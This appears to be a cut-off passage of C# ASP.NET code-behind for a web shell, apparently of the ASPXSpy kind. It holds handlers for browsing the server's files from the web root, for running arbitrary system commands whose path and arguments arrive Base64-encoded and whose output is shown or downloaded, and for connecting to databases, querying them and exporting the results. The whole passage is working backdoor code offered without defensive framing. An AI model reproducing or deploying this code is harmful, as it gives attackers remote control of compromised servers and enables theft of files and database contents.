protected void B_B_Go_Click(object sender, EventArgs e)
{
B_File(B_TB_Path.Value);
}
protected void B_B_WebRoot_Click(object sender, EventArgs e)
{
B_File(Server.MapPath("."));
}
protected void B_B_Cmd_Click(object sender, EventArgs e)
{
Hide_Div();
B_D_Cmd.Visible = true;
B_H2_Title.InnerText = "Execute Command >>";
}
protected void B_B_CmdExec_Click(object sender, EventArgs e)
{
try { zcg_ExecCmd(); }
catch (Exception ex) { zcg_ShowError(ex); }
}
private void zcg_ExecCmd()
{
try
{
Process Cmdpro = new Process();
Cmdpro.StartInfo.FileName = Base64Decode(B_TB_CmdPath.Value);
Cmdpro.StartInfo.Arguments = Base64Decode(B_TB_CmdArg.Value);
Cmdpro.StartInfo.UseShellExecute = false;
Cmdpro.StartInfo.RedirectStandardInput = true;
Cmdpro.StartInfo.RedirectStandardOutput = true;
Cmdpro.StartInfo.RedirectStandardError = true;
Cmdpro.Start();
string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
cmdstr += Cmdpro.StandardError.ReadToEnd();
if (cmd_download_result.Checked == true)
{
string tempfilename = Path.GetTempPath() + "\\result.txt";
StreamWriter sw = new StreamWriter(tempfilename, false, Encoding.Default);
sw.Write(cmdstr);
sw.Close();
bdlf(tempfilename);
File.Delete(tempfilename);
}
else
{
B_D_CmdRes.Visible = true;
B_D_CmdRes.InnerHtml = "<hr width=\"100%\" noshade/><pre><xmp>" + cmdstr + "</xmp></pre>";
}
}
catch (Exception error)
{
zcg_ShowError(error);
}
}
protected void B_B_DB_Click(object sender, EventArgs e)
{
B_DataB();
}
protected void B_List_SelectedIndexChanged(object sender, EventArgs e)
{
switch (((Control)sender).ID.ToString())
{
case "B_List_Connstr":
B_D_DBPanel.Visible = false;
B_TB_ConnStr.Text = B_List_Connstr.SelectedItem.Value.ToString();
break;
case "B_B_Show":
case "B_List_DB":
B_DataBind();
break;
}
}
protected void B_B_Back_Click(object sender, EventArgs e)
{
B_File(B_TB_Path.Value);
}
protected void B_B_Conn_Click(object sender, EventArgs e)
{
B_Newconn();
}
protected void B_B_Query_Click(object sender, EventArgs e)
{
B_B_Export.Visible = true;
B_ExecBind();
}
protected void B_B_Export_Click(object sender, EventArgs e)
{
try
{
OpenConnection();
if (B_List_Connstr.SelectedItem.Text == "MSSQL")
{
if (B_List_DB.SelectedItem.Value != "")
{
conn.ChangeDatabase(B_List_DB.SelectedItem.Value.ToString());
}
}
DataTable dt = B_DataTable(B_Textarea_Query.InnerText);
string fname = "Query.xls";
Match mat = Regex.Match(B_Textarea_Query.InnerText, @"(?<= from \[?)[\w.]+");
if (mat.Success)
{